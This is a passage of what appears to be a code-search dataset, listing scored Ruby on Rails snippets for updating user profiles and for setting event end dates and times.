this page\n\t\tif(session.has_key?(\"logged_in\"))\n\t\t\t# If the user is not logged in redirect to homepage\n\t\t\tif(session['logged_in'] != 1) \n\t\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\t\tend\n\n\t\t\t# Get user id and details\n\t\t\tuserID = session['user_id']\n\t\t\t@username = User.find(userID).username\n\t\t\t@email = User.find(userID).email\n\t\t\t@website_link = User.find(userID).website_link\n\t\t\t@description = User.find(userID).description\n\n\t\telse\n\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\tend\n \tend", "title": "" }, { "docid": "677db299d7240bc0c4f55e625891c877", "score": "0.64445525", "text": "def update_profile\n user = current_user\n if (user == nil) # in case the session times out while the page is displayed. This page expects a user to be logged in.\n render :text => \"You must be logged in to perform this function. Did your session time out due to inactivity?\", :status => :bad_request\n return\n end\n\n if params[:account_email] !~ /\\@/\n render :text => \"An e-mail address is required\", :status => :bad_request\n return\n end\n if params[:account_password] != params[:account_password2]\n render :text => \"Passwords do not match\", :status => :bad_request\n return\n end\n user.institution = params['institution']\n user.fullname = params['fullname']\n user.email = params['account_email']\n user.hide_email = params['hide_email']\n user.link = params['link']\n user.about_me = params['aboutme']\n #check the link for a javascript attack\n if user.link.downcase.index(\"javascript:\") != nil\n user.link = \"invalid link entered\"\n end\n user.save\n\n User.update_user(current_user.username, params[:account_password].strip, params[:account_email])\n\n render :partial => 'profile', :locals => { :user => user, :can_edit => true }\n end", "title": "" }, { "docid": "9198ecd758c239bbc02e5d7d815bb168", "score": "0.6443524", "text": "def update\n signedin\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6b2adbf7945f873d78fec9dc7c1ec90", "score": "0.64392537", "text": "def update\n respond_to do |format|\n if @profile.update_attributes(profile_params)\n format.html { redirect_to user_path(@profile.user), notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4def9cb1807d3e6e9c21fd884ed7479f", "score": "0.6439152", "text": "def update\n @profile = Profile.find(params[:id])\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56922ccc553c7f2875fd9f46a8f6ed23", "score": "0.6433809", "text": "def update\n @profile = Profile.find_by_user_id(current_user)\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(@profile) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20c72d229cbc46f3c59a42964eed5910", "score": "0.6433162", "text": "def update\n @profil = current_user.profile\n\n respond_to do |format|\n if @profil.update_attributes(params[:profile])\n format.html { redirect_to @profil, notice: 'Profil was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a20940793d3d4fc20e2db52e584b266", "score": "0.64304554", "text": "def update\n\t\t@post = Post.find(params[:id])\n\t\tif @post.update_attributes(post_params)\n\t\t\tflash.now[:success] = \"Post has been successfully updated.\"\n\t\t\tredirect_to @post\n\t\telse\n\t\t\tflash.now[:notice] = \"Please fill all required profile fields.\"\n\t\t\trender 'edit'\n\t\tend\n\tend", "title": "" }, { "docid": "c6d9d4f270e11a335550332ecefff844", "score": "0.6427221", "text": "def update\n @user_profile = UserProfile.find(params[:id])\n\n respond_to do |format|\n if @user_profile.update_attributes(params[:user_profile])\n format.html { redirect_to edit_user_profile_path(@user_profile), :notice => 'The user profile was updated successfully!' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6b76cb3d904b9945dcd277e96a28a89", "score": "0.6426879", "text": "def update\n @profile = Profile.find(params[:id])\n if current_user.profile != @profile\n respond_to do |format|\n format.html {redirect_to root_path}\n end\n end\n \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to root_path, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a2d251d752eaf5353bfe420a0a6a15d", "score": "0.6426845", "text": "def update\n @profile.user = current_user\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c0c8daa18f23d522f0e69b898d688c3", "score": "0.64137906", "text": "def update\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to '/admin', notice: 'profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ec0043678bd90e6a6338323179c3023", "score": "0.6404593", "text": "def update\n raise \"あなたのプロフィールではありません。\" unless @user_profile.user_id == current_user.id\n respond_to do |format|\n if @user_profile.update(user_profile_params)\n format.html { redirect_to @user_profile, notice: 'User profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_profile }\n else\n format.html { render :edit }\n format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97b7900333f7dfc5041190427562f86b", "score": "0.64014304", "text": "def update!\n return true unless self.changed?\n attrs = self.attributes.merge(person_id: self.person_id, network: self.network.to_s)\n !!Profiles.fire_put(Profiles.profile_url(self.id), attrs)\n end", "title": "" }, { "docid": "d38118a4011b82f3f9857f43769037a3", "score": "0.6400501", "text": "def update_profile_for_user\n wrap_html_and_redirect_response content_service.handle_content_profile_update(params.to_unsafe_h), in_depth_profiles_url\n end", "title": "" }, { "docid": "5b854a2cf82ba916f4008f93c92f27f6", "score": "0.6399417", "text": "def update\n #Retrieve user from database\n @user = User.find( params[:user_id] )\n #Retrieve users profile\n @profile = @user.profile \n # Mass assign edited attributes and save (Update)\n if @profile.update_attributes( profile_params )\n flash[:success] = \"Successfully updated profile\"\n #Redirect to users profile page\n redirect_to user_path(id: params[:user_id])\n else\n flash[:danger] = @profile.errors.full_messages.join(\", \")\n render action: :edit\n end\n end", "title": "" }, { "docid": "276ca19ce8de3231afe836fc74f0bff3", "score": "0.6397538", "text": "def sync_attrs\n begin\n update_from_api!(api_user)\n rescue Exception => e\n logger.warn(\"Unable to sync facebook profile #{self.uid},person_id=>#{self.person_id}. Check for corrupted profile: #{e.message}\")\n end\n end", "title": "" }, { "docid": "5394aa7367657e63339e3f216db55689", "score": "0.63918483", "text": "def save_profile_edit\n wait_for_update_and_click update_profile_button_element\n end", "title": "" } ]
a56f1b5a2f3c14a9351a0b036370c683
Perform readonly actions on the DMG.
[ { "docid": "5d84e0c05485a876c243166e692a9aa1", "score": "0.0", "text": "def show &block\n HDIUtil.read(@url, &block)\n end", "title": "" } ]
[ { "docid": "1a553dbd96f74cdc1909b119e5e3ed45", "score": "0.72814614", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "1a553dbd96f74cdc1909b119e5e3ed45", "score": "0.72814614", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "1a553dbd96f74cdc1909b119e5e3ed45", "score": "0.72814614", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "11d11b7c00f2c9c12eb4649d25a1f3d2", "score": "0.7262477", "text": "def readonly!\n @readonly = true\n end", "title": "" }, { "docid": "eb88b2531c4de03cb8ba9dd8acedfd3c", "score": "0.715879", "text": "def readonly!\n @readonly = true\n add_class(:readonly)\n end", "title": "" }, { "docid": "a47884b8d18b938a6771237fb30f8027", "score": "0.7030985", "text": "def readonly!; end", "title": "" }, { "docid": "add93bfb2a57ded2b360c48f04ac202d", "score": "0.6956113", "text": "def readonly; end", "title": "" }, { "docid": "add93bfb2a57ded2b360c48f04ac202d", "score": "0.6956113", "text": "def readonly; end", "title": "" }, { "docid": "ab2b2bb68bb3069eeb08f898bc86031e", "score": "0.6732148", "text": "def readonly\n @readonly\n end", "title": "" }, { "docid": "b4c979d49d9ec2b83b4eaac0141a5f58", "score": "0.6719371", "text": "def read_only!\n @read_only = true\n @mounts.each { |_, child| child.read_only! }\n end", "title": "" }, { "docid": "5309aca44263afb43f252d7d82850556", "score": "0.6682744", "text": "def readonly?; end", "title": "" }, { "docid": "5309aca44263afb43f252d7d82850556", "score": "0.6682744", "text": "def readonly?; end", "title": "" }, { "docid": "5309aca44263afb43f252d7d82850556", "score": "0.6682744", "text": "def readonly?; end", "title": "" }, { "docid": "4376a2b5abd5ce75c1d6ba4fef01acb2", "score": "0.6659978", "text": "def readonly?; true; end", "title": "" }, { "docid": "4376a2b5abd5ce75c1d6ba4fef01acb2", "score": "0.6659978", "text": "def readonly?; true; end", "title": "" }, { "docid": "4791a54146dc7d3cd1322c05acbb1f14", "score": "0.6653658", "text": "def readonly!\n @elements.each { |e|\n e.readonly!\n }\n touch()\n end", "title": "" }, { "docid": "90f1f605a1bcd281d56b6357e77ded76", "score": "0.6585365", "text": "def readonly!\n if Mongoid.legacy_readonly\n Mongoid::Warnings.warn_legacy_readonly\n false\n else\n @readonly = true\n end\n end", "title": "" }, { "docid": "e1daddd9694d73b44d9b420268a231fb", "score": "0.6451784", "text": "def readonly\n true\n end", "title": "" }, { "docid": "08f556c67e9ee36cea1a12b3083ff041", "score": "0.631045", "text": "def editable!\n @readonly = false\n remove_class(:readonly)\n end", "title": "" }, { "docid": "c51a83502eb1d989f4e5c99834ff632e", "score": "0.6229238", "text": "def read_only\n @read_only\n end", "title": "" }, { "docid": "c51a83502eb1d989f4e5c99834ff632e", "score": "0.6229238", "text": "def read_only\n @read_only\n end", "title": "" }, { "docid": "c51a83502eb1d989f4e5c99834ff632e", "score": "0.6229238", "text": "def read_only\n @read_only\n end", "title": "" }, { "docid": "c51a83502eb1d989f4e5c99834ff632e", "score": "0.6229238", "text": "def read_only\n @read_only\n end", "title": "" }, { "docid": "c51a83502eb1d989f4e5c99834ff632e", "score": "0.6227865", "text": "def read_only\n @read_only\n end", "title": "" }, { "docid": "2cf58e4dd899ea67721b786885e11359", "score": "0.62053114", "text": "def read_only\n get_mandatory_attribute :readonly\n end", "title": "" }, { "docid": "15816dc6a8864899c74a7ac644f26956", "score": "0.6190488", "text": "def read_only\n self.class.read_only\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "804db349fada8013716782976ff49056", "score": "0.61839116", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "ce6be41885cc5b4f8f3fac493ef43c00", "score": "0.6173929", "text": "def read_only\n true\n end", "title": "" }, { "docid": "e740b3125562dd20ef35ea2b64b0cc13", "score": "0.61600983", "text": "def readonly\n self.class.new select(&:readonly?)\n end", "title": "" }, { "docid": "a8f5843c3dd8cba828ea03d6618343d7", "score": "0.61555153", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "a8f5843c3dd8cba828ea03d6618343d7", "score": "0.61555153", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "a8f5843c3dd8cba828ea03d6618343d7", "score": "0.61555153", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "43b0b63c7d71632adae8d1b82622e501", "score": "0.61395", "text": "def readonly?\r\n true\r\n end", "title": "" }, { "docid": "43b0b63c7d71632adae8d1b82622e501", "score": "0.61395", "text": "def readonly?\r\n true\r\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "39468da551aafd7359391b72766674e2", "score": "0.6131449", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "94fde42c56f599b530110c662cb9c058", "score": "0.61209023", "text": "def read_only\n false\n end", "title": "" }, { "docid": "e32116836fffa6e0756f10ca3ef75f55", "score": "0.6119451", "text": "def editable!\n self.read_only = false\n self.read_only_msg = nil\n end", "title": "" }, { "docid": "0933dd9c3af374f43966ea7a56b41d9d", "score": "0.6117034", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "0933dd9c3af374f43966ea7a56b41d9d", "score": "0.6117034", "text": "def readonly?\n true\n end", "title": "" }, { "docid": "464acb3abc96851b8b18835ccec992b6", "score": "0.6101494", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "464acb3abc96851b8b18835ccec992b6", "score": "0.6101494", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "5aaa7061bfe7b44068ce705936cfb42c", "score": "0.6081943", "text": "def read_only=(ro)\n @read_only = ro\n @data_only = ro if ro\n end", "title": "" }, { "docid": "f615e191c05ec910abb5f62c7cbbb340", "score": "0.6081602", "text": "def readonly=(is_readonly)\n @readonly = is_readonly\n if is_readonly then \n add_class(:readonly) \n else \n remove_class(:readonly) \n end\n end", "title": "" }, { "docid": "05c08131dd9c5788e49d3a481b1d5a80", "score": "0.6078492", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "05c08131dd9c5788e49d3a481b1d5a80", "score": "0.6078492", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "05c08131dd9c5788e49d3a481b1d5a80", "score": "0.6078492", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "070b5e44792755b0fc5a4502b9ff4896", "score": "0.6077574", "text": "def set_readonly\n readonly! if persisted? && !parent\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "e5884da2f7f03f3a0ed6a746e9bea636", "score": "0.60710365", "text": "def readonly?\n @readonly\n end", "title": "" }, { "docid": "00d955b336be8cfcb0af3776e776619f", "score": "0.6068692", "text": "def readonly? \n @readonly\n end", "title": "" }, { "docid": "9cdcf4c00dd49940fb22b7b6c07fb57f", "score": "0.6053702", "text": "def readonly?\r\n false\r\n end", "title": "" }, { "docid": "c2fcc1e74724604f03d873a29efe6f8a", "score": "0.60518897", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "c2fcc1e74724604f03d873a29efe6f8a", "score": "0.60509086", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "c2fcc1e74724604f03d873a29efe6f8a", "score": "0.60509086", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "c2fcc1e74724604f03d873a29efe6f8a", "score": "0.60509086", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "c2fcc1e74724604f03d873a29efe6f8a", "score": "0.60509086", "text": "def read_only=(value)\n @read_only = value\n end", "title": "" }, { "docid": "a63d649ce021520b1f2b24ec4b4d708e", "score": "0.60317093", "text": "def readonly(value = true)\n spawn.readonly!(value)\n end", "title": "" }, { "docid": "a63d649ce021520b1f2b24ec4b4d708e", "score": "0.60317093", "text": "def readonly(value = true)\n spawn.readonly!(value)\n end", "title": "" }, { "docid": "7e6c71a7e957f9f5bf5cc56a12e33deb", "score": "0.6028998", "text": "def read_only!(msg = nil)\n self.read_only = true\n self.read_only_msg = msg\n end", "title": "" }, { "docid": "64aa3d85ac4732fb4ba0dd451689221a", "score": "0.60131925", "text": "def readonly_attributes\n _attr_readonly\n end", "title": "" }, { "docid": "64aa3d85ac4732fb4ba0dd451689221a", "score": "0.60131925", "text": "def readonly_attributes\n _attr_readonly\n end", "title": "" }, { "docid": "64aa3d85ac4732fb4ba0dd451689221a", "score": "0.60131925", "text": "def readonly_attributes\n _attr_readonly\n end", "title": "" } ]
bf11ad5ad82a82df29d12d26af3eafff
Sets the event_end_date and event_end_time
[ { "docid": "771832354bc3287bcd755394b0580a45", "score": "0.69576174", "text": "def close(now = Time.now)\n self.event_end_date = now.to_date\n self.event_end_time = now.strftime(\"%H:%M\")\n end", "title": "" } ]
[ { "docid": "cad154a535dc96ec772dee3e8a4f39bc", "score": "0.8243419", "text": "def event_end_time=(value)\n @event_end_time = value\n end", "title": "" }, { "docid": "3b803e5f13de40f4a3e731c72731d0b9", "score": "0.77718383", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "0c75327dc3cb47a258a57cddaf9e12d8", "score": "0.7767441", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "26acbd5bd77e698b3d03966efba45479", "score": "0.77571696", "text": "def end_date_time=(value)\n @end_date_time = value\n end", "title": "" }, { "docid": "78823e468f8690482c7059196fdb24e2", "score": "0.74503565", "text": "def meeting_end_date_time=(value)\n @meeting_end_date_time = value\n end", "title": "" }, { "docid": "c519f3bae58b4f012e87dcc837c39491", "score": "0.7393861", "text": "def set_end_date(end_date)\n @end_date = end_date\n end", "title": "" }, { "docid": "3d8752e519dd1f6b5ef3de3e57d25751", "score": "0.7277704", "text": "def end_time=(time)\n @end_time = Event.parse_time(time)\n end", "title": "" }, { "docid": "ec2c4454b6de27ddd081b95e08f7b00d", "score": "0.7250197", "text": "def set_end_time\n if end_time.nil?\n self.end_time = start_time\n end\n end", "title": "" }, { "docid": "39aabfff2fba8cbf2b7bf7bf5b9185c8", "score": "0.7215486", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "39aabfff2fba8cbf2b7bf7bf5b9185c8", "score": "0.7215486", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "39aabfff2fba8cbf2b7bf7bf5b9185c8", "score": "0.7215486", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "bde191a624757904ba9130e27a933752", "score": "0.72101283", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "f87d3d367f27e76eb4a78f8ee638591a", "score": "0.71483487", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "f87d3d367f27e76eb4a78f8ee638591a", "score": "0.7148246", "text": "def end_time=(value)\n @end_time = value\n end", "title": "" }, { "docid": "edc693e72b137de482ec829c9af4b4db", "score": "0.7094096", "text": "def end_date=(value)\n @end_date = value\n end", "title": "" }, { "docid": "edc693e72b137de482ec829c9af4b4db", "score": "0.7094096", "text": "def end_date=(value)\n @end_date = value\n end", "title": "" }, { "docid": "bf55537e4df2e4560c2c3672d34afa56", "score": "0.7089342", "text": "def scheduled_end_date_time=(value)\n @scheduled_end_date_time = value\n end", "title": "" }, { "docid": "b895dab2b038a264ce419834856d4d33", "score": "0.70842946", "text": "def end_time=(t)\r\n tc = convert_to_time(t)\r\n if @all_day\r\n self.end = tc + DAY_SECS\r\n else\r\n self.end = tc\r\n end\r\n end", "title": "" }, { "docid": "77a7c3bdce40166a7079072d3e0d0b96", "score": "0.6995899", "text": "def end_date=(value)\n @end_date = value\n end", "title": "" }, { "docid": "348f76107a6c7d871dac5dd774d8b95a", "score": "0.69471455", "text": "def set_end_time\n self.end_time = self.start_time + 1.day\n end", "title": "" }, { "docid": "28602bc4af1bb0e1707060f481ae8759", "score": "0.68781674", "text": "def event_date_time=(value)\n @event_date_time = value\n end", "title": "" }, { "docid": "28602bc4af1bb0e1707060f481ae8759", "score": "0.68781674", "text": "def event_date_time=(value)\n @event_date_time = value\n end", "title": "" }, { "docid": "28602bc4af1bb0e1707060f481ae8759", "score": "0.68781674", "text": "def event_date_time=(value)\n @event_date_time = value\n end", "title": "" }, { "docid": "28602bc4af1bb0e1707060f481ae8759", "score": "0.68781674", "text": "def event_date_time=(value)\n @event_date_time = value\n end", "title": "" }, { "docid": "28602bc4af1bb0e1707060f481ae8759", "score": "0.68781674", "text": "def event_date_time=(value)\n @event_date_time = value\n end", "title": "" }, { "docid": "11828da5a5797e67c8eb02713d8a3332", "score": "0.6821124", "text": "def last_event_date_time=(value)\n @last_event_date_time = value\n end", "title": "" }, { "docid": "78f87b2d33bf69f157cd38b60d738c2a", "score": "0.6791268", "text": "def set_end_time_from_start_time\n @event = load_event_instance_from_session\n @execute_update = false\n if !@event.event_finish.blank?\n @execute_update = true \n @start_date = params[:start_date]\n @start_hms = params[:start_hms]\n\n start_time = Time.parse(@start_date << ' ' << @start_hms)\n\n #Use a dummy event for rendering purposes\n @dummy_event = Event.new\n @dummy_event.event_finish = start_time\n end\n\n #if the time has changed tweak the minutes supression flag\n logger.debug \"Prior to supress, start hms is #{@start_hms}\"\n if @start_hms != \"00:00\"\n logger.debug \"Setting supress times to false\"\n @event.supress_times = false\n save_event_instance_in_session\n end\n end", "title": "" }, { "docid": "307e983e74361a7e0a940c3697f43577", "score": "0.6758745", "text": "def set_end_date\n self.end_date = self.start_date if self.start_date.present? && self.end_date.blank?\n end", "title": "" }, { "docid": "adcf8b443a29512b242bad87ae37dd27", "score": "0.6657163", "text": "def set_end_time\n self.end_time = self.start_time + 3.hours if self.end_time.blank?\n end", "title": "" }, { "docid": "d63d342ca398771b95e7125158851f82", "score": "0.6642112", "text": "def set_end_date\n if end_date.blank? or end_date < Date.today\n if course.try(:is_training?)\n self.end_date = self.start_date\n end\n end\n end", "title": "" }, { "docid": "af33989551c1b06729a2ff77e9c8aee2", "score": "0.65873337", "text": "def set_end_time\n unless self.end_time.present?\n if self.start_time and self.duration\n self.end_time = self.start_time + self.duration.minutes\n end\n end\n end", "title": "" }, { "docid": "44429602b176fe5499124295ee712788", "score": "0.6586647", "text": "def review_history_period_end_date_time=(value)\n @review_history_period_end_date_time = value\n end", "title": "" }, { "docid": "79c7a4910b113d1c687e91bb6ae5721a", "score": "0.6568555", "text": "def set_end_time\n self.end_time = self.start_time + (10800) #3*60*60\n end", "title": "" }, { "docid": "d6875e4430b423b317ac1a2178d9e4d1", "score": "0.6561559", "text": "def previous_end_date_time=(value)\n @previous_end_date_time = value\n end", "title": "" }, { "docid": "7c6440d1abd4d1b1a33e959404bb80a3", "score": "0.65549725", "text": "def end_time=(time)\n self.ends_at = to_database_time time\n end", "title": "" }, { "docid": "c45b2b40752e1a288f967b9b0866ce1b", "score": "0.64329267", "text": "def process_end_time\n if end_date.present?\n date_format = '%Y-%m-%d'\n time_format = 'T%H:%M:%S%z'\n self.end_date = DateTime.strptime(\n start_date.strftime(date_format) + end_date.strftime(time_format),\n \"#{date_format}#{time_format}\"\n )\n end\n end", "title": "" }, { "docid": "3873188024f965334d73bc90916bcaef", "score": "0.6404609", "text": "def end_date=(end_date)\n if !end_date.nil? && end_date.to_s.length > 10\n fail ArgumentError, 'invalid value for \"end_date\", the character length must be smaller than or equal to 10.'\n end\n\n @end_date = end_date\n end", "title": "" }, { "docid": "deb9a6f15017cd45cc26a4d8d542a9f1", "score": "0.63511735", "text": "def end_time=time\n raise ArgumentError if !time.kind_of? Time\n @end_time = time if verify_times self.start_time, time\n end", "title": "" }, { "docid": "36a6f5655ab681ec5446301404848eb9", "score": "0.6324368", "text": "def 